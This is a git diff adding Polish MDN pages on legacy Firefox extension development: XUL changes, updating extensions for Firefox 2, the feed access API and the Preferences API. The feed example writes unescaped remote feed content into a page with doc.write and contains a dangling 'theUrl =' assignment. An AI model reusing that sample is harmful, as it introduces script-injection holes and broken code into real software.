+ <li><code><a href="/pl/docs/Mozilla/Tech/XUL/tabbrowser" title="tabbrowser">tabbrowser</a></code></li>
+</ul>
+
+<p>element nie jest już częścią "narzędzi" (<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=339964" title="FIXED: move tabbrowser.xml out of mozilla/toolkit and into mozilla/browser">błąd 339964</a>). Oznacza to, że ten element nie jest już dostępny w aplikacjach XUL i rozszerzeniach. To nadal jest używany w oknie głównym programu Firefox (browser.xul).</p>
+
+<ul>
+ <li>Zmiany w: <a href="/pl/NsISupports_proxies" title="pl/NsISupports_proxies">nsISupports proxies</a></li>
+</ul>
+
+<p>i ewentualnie do gwintowania związanych interfejsów muszą być udokumentowane.</p>
+
+<ul>
+ <li>Jeśli korzystasz z instrukcji przetwarzania XML, takich jak<code>&lt;?xml-stylesheet ?&gt;</code> w Twoim plików XUL, powinnismy być świadomi zmian dokonanych w <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=319654" title="FIXED: Processing instructions in XUL are not added to the content model">błąd 319654</a>:
+
+ <ol>
+ <li>XML PIs are now added to a XUL document's DOM. This means <a href="/pl/docs/Web/API/Document/firstChild" title="document.firstChild zwraca pierwszy węzeł z listy bezpośrednich dzieci dokumentu."><code>document.firstChild</code></a> is no longer guaranteed to be the root element. If you need to get the root document in your script, use <a href="/pl/docs/Web/API/Document/documentElement" title="Tylko do odczytu"><code>document.documentElement</code></a> instead.</li>
+ <li><code>&lt;?xml-stylesheet ?&gt;</code> and <code>&lt;?xul-overlay ?&gt;</code> processing instructions now have no effect outside the document prolog.</li>
+ </ol>
+ </li>
+ <li><code>window.addEventListener("load", myFunc, true)</code> is not fired when loading web content (browser page loads). This is due to <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=296639" title="FIXED: Split windows into an inner and outer object">błąd 296639</a> which changes the way inner and outer windows communicate. The simple fix here is to use <code>gBrowser.addEventListener("load", myFunc, true)</code> as described <a href="/pl/Code_snippets/Tabbed_browser#Detecting_page_load" title="pl/Code_snippets/Tabbed_browser#Detecting_page_load">here</a> and works in Firefox 2 as well.</li>
+ <li><code>content.window.getSelection()</code> gives an object (which can be converted to a string by <code>toString()</code>), unlike the now deprecated <code>content.document.getSelection()</code> which returns a string</li>
+ <li><code>event.preventBubble()</code> was deprecated in Firefox 2 and has been removed in Firefox 3. Use <a href="/pl/DOM/event.stopPropagation" title="pl/DOM/event.stopPropagation"><code>event.stopPropagation()</code></a>, which also works in Firefox 2 as well.</li>
+</ul>
diff --git a/files/pl/aktualizacja_rozszerzeń_do_firefoksa_2/index.html b/files/pl/aktualizacja_rozszerzeń_do_firefoksa_2/index.html
new file mode 100644
index 0000000000..7b5a22de8b
--- /dev/null
+++ b/files/pl/aktualizacja_rozszerzeń_do_firefoksa_2/index.html
@@ -0,0 +1,46 @@
+---
+title: Aktualizacja rozszerzeń do Firefoksa 2
+slug: Aktualizacja_rozszerzeń_do_Firefoksa_2
+translation_of: Mozilla/Firefox/Releases/2/Updating_extensions
+---
+<div>{{FirefoxSidebar}}</div>
+
+<p>{{ Draft() }}</p>
+
+<p>Ten artykuł dostarcza informacji na temat, w jaki sposób należy zmodyfikować rozszerzenia, aby działały właściwie pod Firefoksem 2. Ten artykuł będzie przydatny dla programistów, posiadających już utworzone rozszerzenia i chcą, aby działały poprawnie w wersji drugiej Firefoksa.</p>
+
+<h2 id="Krok_1_Aktualizacja_manifestu_instalacji">Krok 1: Aktualizacja manifestu instalacji</h2>
+
+<p>Pierwszym krokiem -- i w przypadku części rozszerzeń jedynym, jaki będzie potrzebny -- jest aktualizacja pliku <a href="pl/Manifesty_Instalacji">manifestu instalacji</a> &lt;tt&gt;install.rdf&lt;/tt&gt;, aby wskazać kompatybilność z Firefoksem 2.</p>
+
+<p>Szybko znajdź linie wskazującą maksymalną wersje kompatybilności Firefoksa, która dla Firefoksa 1.5, mogła by wyglądać jak poniżej:</p>
+
+<pre class="eval"> <span class="nowiki">&lt;em:maxVersion&gt;1.5.0.*&lt;/em:maxVersion&gt;</span>
+</pre>
+
+<p>Zmień ją wskazując na kompatybilność z Firefoksem 2:</p>
+
+<pre class="eval"> <span class="nowiki">&lt;em:maxVersion&gt;2.0.0.*&lt;/em:maxVersion&gt;</span>
+</pre>
+
+<p>Następnie przeinstaluj swoje rozszerzenie.</p>
+
+<h2 id="Krok_2_Aktualizacja_nakładek_XUL">Krok 2: Aktualizacja nakładek XUL</h2>
+
+<p>Firefox 2 wprowadza zmiany w domyślnym motywie. Dodatkowo, niektóre elementy interfejsu użytkownika zostały zmienione lub przeniesione. Możliwe jest, że Twoje rozszerzenie zostało dotknięte tymi zmianami i zależy to od tego, co zrobią Twoje nakładki XUL.</p>
+
+<p>Przeczytaj artykuł <a href="pl/Zmiany_w_motywie_graficznym_w_Firefoksie_2">Zmiany w motywie graficznym w Firefoksie 2</a>, aby dowiedzieć się, jakie zmiany zostały wprowadzone, które mogą mieć wpływ na nakładki XUL Twoich rozszerzeń.</p>
+
+<h2 id="Krok_3_Test">Krok 3: Test</h2>
+
+<p>Upewnij się poprzez sprawdzenie swojego rozszerzenia w Firefoksie 2, czy aby na pewno działa poprawnie, zanim udostępnisz publicznie wersję ostateczną. Ostatnią rzeczą, jaką chcesz dla swojej nowej wersji rozszerzenia to problemy, jakie może ono powodować po podjęciu pochopnej decyzji ze świeżo wydaną wersją Firefoksa!</p>
+
+<h2 id="Krok_4_Wersja_ukończona">Krok 4: Wersja ukończona</h2>
+
+<p>Zaktualizuj swoje rozszerzenie wprowadzając zmiany na <a class="external" href="http://addons.mozilla.org">http://addons.mozilla.org</a>. Zagwarantuje to, że użytkownicy będą mogli znaleźć nową wersję rozszerzenia.</p>
+
+<p>W dodatku, jeśli Twoje rozszerzenie dostarcza <code><a href="pl/Manifesty_Instalacji#updateURL">updateURL</a></code> w manifeście instalacji, możesz być pewien, że aktualizacja manifestu wywoła automatyczną aktualizację rozszerzenia, które zostanie znalezione przez Firefoksa. Stanie się to przy pierwszym uruchomieniu Firefoksa po aktualizacji, gdyż Firefox może zaoferować automatyczną instalację dla tych rozszerzeń.</p>
+
+<div class="noinclude"> </div>
+
+<p>{{ languages( { "en": "en/Updating_extensions_for_Firefox_2", "fr": "fr/Mise_\u00e0_jour_des_extensions_pour_Firefox_2", "ja": "ja/Updating_extensions_for_Firefox_2", "ko": "ko/Updating_extensions_for_Firefox_2" } ) }}</p>
diff --git a/files/pl/api_dostępu_do_danych_z_kanałów/index.html b/files/pl/api_dostępu_do_danych_z_kanałów/index.html
new file mode 100644
index 0000000000..6bcc84bba1
--- /dev/null
+++ b/files/pl/api_dostępu_do_danych_z_kanałów/index.html
@@ -0,0 +1,170 @@
+---
+title: API dostępu do danych z kanałów
+slug: API_dostępu_do_danych_z_kanałów
+tags:
+ - Dodatki
+ - Rozszerzenia
+ - Wszystkie_kategorie
+---
+<p> </p>
+<p><a href="pl/Firefox_2">Firefox 2</a> oraz Thunderbird 2 wprowadzają serię interfejsów, które pozwalają programistom rozszerzeń w łatwy sposób uzyskiwać dostęp do kanałów RSS i Atom.</p>
+<h2 id="Interfejsy_kana.C5.82.C3.B3w" name="Interfejsy_kana.C5.82.C3.B3w">Interfejsy kanałów</h2>
+<dl>
+ <dt>
+ <code><a href="pl/NsIFeed">nsIFeed</a></code></dt>
+ <dd>
+ Reprezentuje kanał RSS lub Atom.</dd>
+ <dt>
+ <code><a href="pl/NsIFeedContainer">nsIFeedContainer</a></code></dt>
+ <dd>
+ Bazowa klasa, z której dziedziczy kilka interfejsów związanych z kanałami.</dd>
+ <dt>
+ <code><a href="pl/NsIFeedElementBase">nsIFeedElementBase</a></code></dt>
+ <dd>
+ Bazowa klasa, z której dziedziczy kilka interfejsów związanych z kanałami.</dd>
+ <dt>
+ <code><a href="pl/NsIFeedEntry">nsIFeedEntry</a></code></dt>
+ <dd>
+ Reprezentuje pojedynczy wpis kanału RSS lub Atom.</dd>
+ <dt>
+ <code><a href="pl/NsIFeedGenerator">nsIFeedGenerator</a></code></dt>
+ <dd>
+ Opisuje software, za pomocą którego wygenerowano kanał RSS lub Atom.</dd>
+ <dt>
+ <code><a href="pl/NsIFeedPerson">nsIFeedPerson</a></code></dt>
+ <dd>
+ Reprezentuje osobę. Zawiera imię oraz nazwisko osoby, jej adres email oraz adres jej strony domowej.</dd>
+ <dt>
+ <code><a href="pl/NsIFeedProcessor">nsIFeedProcessor</a></code></dt>
+ <dd>
+ Parsuje kanały RSS oraz Atom.</dd>
+ <dt>
+ <code><a href="pl/NsIFeedProgressListener">nsIFeedProgressListener</a></code></dt>
+ <dd>
+ Zaimplementowane przez program chcący parsować kanały RSS lub Atom w celu otrzymywania wiadomości podczas procesu parsowania.</dd>
+ <dt>
+ <code><a href="pl/NsIFeedResult">nsIFeedResult</a></code></dt>
+ <dd>
+ Opisuje rezultat parsowania kanału.</dd>
+ <dt>
+ <code><a href="pl/NsIFeedResultListener">nsIFeedResultListener</a></code></dt>
+ <dd>
+ Zaimplementowane przez program chcący parsować kanały RSS lub Atom w celu otrzymywania potwierdzenia ukończenia procesu prasowania.</dd>
+ <dt>
+ <code><a href="pl/NsIFeedTextConstruct">nsIFeedTextConstruct</a></code></dt>
+ <dd>
+ Reprezentuje tekst w wątku; zawiera funkcje pozwalające na pobranie danego tekstu wyłącznie jako tekst lub HTML.</dd>
+ <dt>
+ <code><a href="pl/NsIScriptableUnescapeHTML">nsIScriptableUnescapeHTML</a></code></dt>
+ <dd>
+ Klasa użytkowa przywracająca ciągi znaków HTML.</dd>
+</dl>
+<h2 id="Przyk.C5.82ad:_Czytanie_kana.C5.82u_z_sieci" name="Przyk.C5.82ad:_Czytanie_kana.C5.82u_z_sieci">Przykład: Czytanie kanału z sieci</h2>
+<p>Bardzo łatwo można odczytać oraz parsować kanał. Użyj <code><a href="pl/XMLHttpRequest">XMLHttpRequest</a></code> by pobrać kanał, potem przekaż jego łańcuch do <code><a href="pl/NsIFeedProcessor">nsIFeedProcessor</a></code> w celu przetworzenia.</p>
+<p>Pobieranie kanału oraz wysyłanie go do parsowania może zostać zrobione za pomocą kodu podobnego do przedstawionego poniżej:</p>
+<pre> fetch: function(feedUrl)
+ {
+ var httpRequest = null;
+
+ function infoReceived() {
+ var data = httpRequest.responseText;
+
+ var ioService = Components.classes['@mozilla.org/network/io-service;1']
+ .getService(Components.interfaces.nsIIOService);
+ var uri = ioService.newURI(feedUrl, null, null);
+
+ if (data.length) {
+ var parser = Components.classes["@mozilla.org/feed-processor;1"]
+ .createInstance(Components.interfaces.nsIFeedProcessor);
+ var listener = new FeedTestResultListener();
+ try {
+ parser.listener = listener;
+ parser.parseFromString(data, uri);
+ }
+ catch(e) {
+ alert("Error parsing feed.");
+ }
+ }
+ }
+
+ httpRequest = new XMLHttpRequest();
+
+ httpRequest.open("GET", feedUrl, true);
+ try {
+ httpRequest.onload = infoReceived;
+ httpRequest.send(null);
+ }
+ catch(e) {
+ alert(e);
+ }
+ }
+</pre>
+<p>Interfejs <code><a href="pl/NsIFeedProcessor">nsIFeedProcessor</a></code> pozwala na parsowanie danych kanału z kilku możliwych źródeł; w tym przypadku ładujemy dokument do łańcucha, a następnie parsujemy go za pomocą metody <code>parseFromString()</code>. Można też parsować go z pliku za pomocą <code>parseFromStream()</code>, lub też bezpośrednio z adresu za pomocą <code>parseAsync()</code>.</p>
+<p>Właściwe parsowanie kanału dokonywane jest za pomocą metody nazywanej <code>handleResult()</code> na obiekcie <code>FeedTestResultListener</code>. Kod wygląda następująco:</p>
+<pre> FeedTestResultListener.prototype = {
+ handleResult: function(result) {
+ var feed = result.doc;
+
+ feed.QueryInterface(Components.interfaces.nsIFeed);
+
+ // Otwórz nowe okno
+
+ var win = window.open("", "FeedTest_Window");
+ var doc = win.document;
+
+ doc.open();
+
+ // Zapisz nagłówek HTML oraz tytuł strony
+
+ doc.write("&lt;html&gt;&lt;head&gt;&lt;title&gt;Feed: " + feed.title.text + "&lt;/title&gt;&lt;/head&gt;&lt;body&gt;");
+ doc.write("&lt;h1&gt;" + feed.title.text + "&lt;/h1&gt;&lt;p&gt;");
+
+ var itemArray = feed.items;
+ var numItems = itemArray.length;
+
+ // Zapisz informacje zawartą w artykule
+
+ if (!numItems) {
+ doc.write("&lt;i&gt;No news is good news!&lt;/i&gt;");
+ }
+ else {
+ var i;
+ var theEntry;
+ var theUrl;
+ var info;
+
+ for (i=0; i&lt;numItems; i++) {
+ theEntry = itemArray.queryElementAt(i, Components.interfaces.nsIFeedEntry);
+
+ if (theEntry) {
+ theUrl =
+ doc.write('&lt;b&gt;&lt;a href="' + theEntry.link.resolve("") + '"&gt;' + theEntry.title.text + '&lt;/a&gt;&lt;/b&gt;&lt;br&gt;');
+ if (theEntry.summary) {
+ info = theEntry.summary.text + "&lt;p&gt;&lt;hr&gt;&lt;p&gt;";
+ }
+ else {
+ info = theEntry.content.text + "&lt;p&gt;&lt;hr&gt;&lt;p&gt;";
+ }
+ doc.write("&lt;blockquote&gt;" + info);
+ doc.write("&lt;/blockquote&gt;&lt;p&gt;");
+ }
+ }
+ }
+
+ // Zamknij dokument
+
+ doc.write("&lt;/body&gt;&lt;/html&gt;");
+ doc.close();
+ }
+ }
+</pre>
+<p>Funkcja <code>handleResult()</code> otrzymuje jako argumenty obiekt typu <code><a href="pl/NsIFeedResult">nsIFeedResult</a></code> opisujący kanał, oraz <code>doc</code> typu <code><a href="pl/NsIFeed">nsIFeed</a></code> zawierające wszystkie dane kanału.</p>
+<p>W celu uzyskania tytułu kanału należy spojrzeć na właściwość <code>feed.title</code>. Tytuł jest <code><a href="pl/NsIFeedTextConstruct">nsIFeedTextConstruct</a></code> reprezentujący tekst zapisany w rożnych formatach; używając właściwości <code>text</code> uzyskamy tytuł kanału w formacie HTML. Można również użyć metody <code>plainText()</code> by uzyskać kopię jako zwykły tekst.</p>
+<p>Następnie można przejrzeć uszeregowanie kanału za pomocą <code>feed.items</code> <code><a href="pl/NsIArray">nsIArray</a></code>. Uszeregowanie to zawiera obiekty <code><a href="pl/NsIFeedEntry">nsIFeedEntry</a></code> opisujące każdy składnik kanału.</p>
+<p>Tworzenie zawartości dokumentu następuje poprzez pobranie tytułu, linka, podsumowania oraz zawartości własności poszczególnych składników. Pełny adres linka może zostać pobrany za pomocą metody linka <code>resolve()</code>.</p>
+<p>W celu rozpoczęcia pobierania kanału wywołujemy po prostu <code>fetch(
+ <i>
+ url</i>
+ )</code>. Otwierane jest wtedy nowe okno zawierające składniki kanału, których linki pozwalają na bezpośrednie odczytanie artykułu.</p>
+<p>Szczegóły dostępu do poszczególnych interfejsów dostępowych kanału można znaleźć klikając w poniższe odnośniki.</p>
+<p>{{ languages( { "es": "es/API_de_acceso_a_canales", "fr": "fr/Feed_content_access_API", "ja": "ja/Feed_content_access_API", "en": "en/Feed_content_access_API" } ) }}</p>
diff --git a/files/pl/api_preferencji/index.html b/files/pl/api_preferencji/index.html
new file mode 100644
index 0000000000..e90da0dced
--- /dev/null
+++ b/files/pl/api_preferencji/index.html
@@ -0,0 +1,23 @@
+---
+title: API Preferencji
+slug: API_Preferencji
+tags:
+ - Dodatki
+ - Rozszerzenia
+ - System_preferencji
+ - Wszystkie_kategorie
+ - XUL
+translation_of: Mozilla/Tech/Preferences_API
+---
+<p>
+</p><p>API preferencji pozwala na zapisywanie oraz odczytywanie łańcuchów, liczb, wartości logicznych oraz odnośników do plików zapisanych w preferencjach. Jest łatwe w użyciu dostarczając dodatkowo <a class="external" href="http://www.mozilla.org/catalog/end-user/customizing/briefprefs.html">dużą liczbę przydatnych programistom oraz użytkownikom opcji</a> włącznie ze wsparciem własności domyślnych, możliwością ręcznego sterowania przez użytkowników poprzez user.js oraz blokowaniem.
+</p><p>Można również stworzyć <a href="pl/System_preferencji"> okno opcji</a> bazujących na XUL-u, aby pozwolić użytkownikowi na modyfikacje niektórych preferencji. Wiele aplikacji włącznie z Firefoksem i Thunderbirdem zawiera dodatkowe narzędzia dla zaawansowanych użytkowników <a class="external" href="http://kb.mozillazine.org/about:config">about:config</a>, których można użyć w celu dostosowania preferencji bez zmiany interfejsu użytkownika.
+</p>
+<h3 id="Interfejsy"> Interfejsy </h3>
+<p>API preferencji jest widoczne jako zbiór zamrożonych komponentów oraz interfejsów XPCOM: <code><a href="pl/NsIPrefService">nsIPrefService</a></code>, <code><a href="pl/NsIPrefBranch">nsIPrefBranch</a></code>, <code><a href="pl/NsIPrefBranch2">nsIPrefBranch2</a></code>.
+</p><p><span>...</span>
+</p>
+<h3 id="Zobacz_również"> Zobacz również </h3>
+<ul><li> <a class="external" href="http://xulplanet.com/tutorials/xulqa/q_prefs.html">Brief introduction to using Preferences API in your code at xulplanet.com</a>
+</li><li> <a href="pl/Fragmenty_kodu/Preferencje">Fragmenty kodu:Preferencje</a> (more detailed discussion with multiple examples)
+</li></ul>
diff --git a/files/pl/archive/add-ons/add-on_sdk/tools/index.html b/files/pl/archive/add-ons/add-on_sdk/tools/index.html
new file mode 100644
index 0000000000..7ce4fa6d2f
--- /dev/null
+++ b/files/pl/archive/add-ons/add-on_sdk/tools/index.html
@@ -0,0 +1,158 @@
+---
+title: Tools
+slug: Archive/Add-ons/Add-on_SDK/Tools
+tags:
+ - Add-on SDK
+ - CFX
+ - JPM
+ - NeedsTranslation
+ - TopicStub
+translation_of: Archive/Add-ons/Add-on_SDK/Tools
+---
+<p></p><div class="warning"><p>Add-ons using the techniques described in this document are considered a legacy technology in Firefox. Don't use these techniques to develop new add-ons. Use <a href="/en-US/Add-ons/WebExtensions">WebExtensions</a> instead. If you maintain an add-on which uses the techniques described here, consider migrating it to use WebExtensions.</p><p><strong>Starting from <a href="https://wiki.mozilla.org/RapidRelease/Calendar">Firefox 53</a>, no new legacy add-ons will be accepted on addons.mozilla.org (AMO) for desktop Firefox and Firefox for Android.</strong></p><p><strong>Starting from <a href="https://wiki.mozilla.org/RapidRelease/Calendar">Firefox 57</a>, only extensions developed using WebExtensions APIs will be supported on Desktop Firefox and Firefox for Android. </strong></p><p>Even before Firefox 57, changes coming up in the Firefox platform will break many legacy extensions. These changes include multiprocess Firefox (e10s), sandboxing, and multiple content processes. Legacy extensions that are affected by these changes should migrate to use WebExtensions APIs if they can. See the <a href="https://blog.mozilla.org/addons/2017/02/16/the-road-to-firefox-57-compatibility-milestones/">"Compatibility Milestones" document</a> for more information.</p><p>A wiki page containing <a href="https://wiki.mozilla.org/Add-ons/developer/communication">resources, migration paths, office hours, and more</a>, is available to help developers transition to the new technologies.</p></div><section class="Quick_links" id="Quick_Links">
+ <ol>
+ <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions"><strong>Browser extensions</strong></a></li>
+
+ <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions#Getting_started">Getting started</a>
+ <ol>
+ <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/What_are_WebExtensions">What are extensions?</a></li>
+ <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/Your_first_WebExtension">Your first extension</a></li>
+ <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/Your_second_WebExtension">Your second extension</a></li>
+ <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/Anatomy_of_a_WebExtension">Anatomy of an extension</a></li>
+ <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/Examples">Example extensions</a></li>
+ <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/What_next_">What next?</a></li>
+ </ol>
+ </li>
+
+ <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions#Concepts">Concepts</a>
+ <ol>
+ <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/Using_the_JavaScript_APIs">Using the JavaScript APIs</a></li>
+ <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/Content_scripts">Content scripts</a></li>
+ <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/Match_patterns">Match patterns</a></li>
+ <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/Working_with_files">Working with files</a></li>
+ <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/Internationalization">Internationalization</a></li>
+ <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/Security_best_practices">Security best practices</a></li>
+ <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/Content_Security_Policy">Content Security Policy</a></li>
+ <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/Native_messaging">Native messaging</a></li>
+ </ol>
+ </li>
+
+ <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions#User_Interface">User interface</a>
+ <ol>
+ <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/user_interface">User Interface</a></li>
+ <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/user_interface/Browser_action">Toolbar button</a></li>
+ <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/user_interface/Page_actions">Address bar button</a></li>
+ <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/user_interface/Sidebars">Sidebars</a></li>
+ <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/user_interface/Context_menu_items">Context menu items</a></li>
+ <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/user_interface/Options_pages">Options page</a></li>
+ <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/user_interface/Extension_pages">Extension pages</a></li>
+ <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/user_interface/Notifications">Notifications</a></li>
+ <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/user_interface/Omnibox">Address bar suggestions</a></li>
+ <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/user_interface/devtools_panels">Developer tools panels</a></li>
+ </ol>
+ </li>
+
+ <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions#How_to">How to</a>
+ <ol>
+ <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/Intercept_HTTP_requests">Intercept HTTP requests</a></li>
+ <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/Modify_a_web_page">Modify a web page</a></li>
+ <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/Safely_inserting_external_content_into_a_page">Insert external content</a></li>
+ <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/Add_a_button_to_the_toolbar">Add a button to the toolbar</a></li>
+ <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/Implement_a_settings_page">Implement a settings page</a></li>
+ <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/Working_with_the_Tabs_API">Work with the Tabs API</a></li>
+ <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/Work_with_the_Bookmarks_API">Work with the Bookmarks API</a></li>
+ <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/Work_with_the_Cookies_API">Work with the Cookies API</a></li>
+ <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/Work_with_contextual_identities">Work with contextual identities</a></li>
+ </ol>
+ </li>
+
+ <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions#Porting">Porting</a>
+ <ol>
+ <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/Porting_a_Google_Chrome_extension">Porting a Google Chrome extension</a></li>
+ <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/Porting_a_legacy_Firefox_add-on">Porting a legacy Firefox extension</a></li>
+ <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/Embedded_WebExtensions">Embedded WebExtensions</a></li>
+ <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/Comparison_with_the_Add-on_SDK">Comparison with the Add-on SDK</a></li>
+ <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/Comparison_with_XUL_XPCOM_extensions">Comparison with XUL/XPCOM extensions</a></li>
+ <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/Chrome_incompatibilities">Chrome incompatibilities</a></li>
+ <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/Differences_between_desktop_and_Android">Differences between desktop and Android</a></li>
+ </ol>
+ </li>
+
+ <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions#Firefox_workflow">Firefox workflow</a>
+ <ol>
+ <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/User_experience_best_practices">User Experience</a></li>
+ <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/Temporary_Installation_in_Firefox">Temporary Installation in Firefox</a></li>
+ <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/Debugging">Debugging</a></li>
+ <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/Testing_persistent_and_restart_features">Testing persistent and restart features</a></li>
+ <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/Developing_WebExtensions_for_Firefox_for_Android">Developing for Firefox for Android</a></li>
+ <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/Getting_started_with_web-ext">Getting started with web-ext</a></li>
+ <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/web-ext_command_reference">web-ext command reference</a></li>
+ <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/WebExtensions_and_the_Add-on_ID">Extensions and the Add-on ID</a></li>
+ <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/Request_the_right_permissions">Request the right permissions</a></li>
+
+ </ol>
+ </li>
+
+ <li data-default-state="closed"><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/API">JavaScript APIs</a>
+ <ol><li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/Browser_support_for_JavaScript_APIs">Browser support for JavaScript APIs</a></li><li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/API/alarms">alarms</a></li><li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/API/bookmarks">bookmarks</a></li><li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/API/browserAction">browserAction</a></li><li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/API/browserSettings">browserSettings</a></li><li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/API/browsingData">browsingData</a></li><li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/API/clipboard">clipboard</a></li><li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/API/commands">commands</a></li><li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/API/contentScripts">contentScripts</a></li><li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/API/contextualIdentities">contextualIdentities</a></li><li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/API/cookies">cookies</a></li><li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/API/devtools.inspectedWindow">devtools.inspectedWindow</a></li><li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/API/devtools.network">devtools.network</a></li><li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/API/devtools.panels">devtools.panels</a></li><li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/API/dns">dns</a></li><li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/API/downloads">downloads</a></li><li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/API/events">events</a></li><li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/API/extension">extension</a></li><li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/API/extensionTypes">extensionTypes</a></li><li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/API/find">find</a></li><li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/API/history">history</a></li><li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/API/i18n">i18n</a></li><li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/API/identity">identity</a></li><li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/API/idle">idle</a></li><li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/API/management">management</a></li><li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/API/menus">menus</a></li><li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/API/notifications">notifications</a></li><li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/API/omnibox">omnibox</a></li><li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/API/pageAction">pageAction</a></li><li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/API/permissions">permissions</a></li><li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/API/pkcs11">pkcs11</a></li><li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/API/privacy">privacy</a></li><li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/API/proxy">proxy</a></li><li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/API/runtime">runtime</a></li><li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/API/search">search</a></li><li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/API/sessions">sessions</a></li><li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/API/sidebarAction">sidebarAction</a></li><li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/API/storage">storage</a></li><li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs">tabs</a></li><li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/API/theme">theme</a></li><li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/API/topSites">topSites</a></li><li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/API/types">types</a></li><li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/API/webNavigation">webNavigation</a></li><li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/API/webRequest">webRequest</a></li><li><a 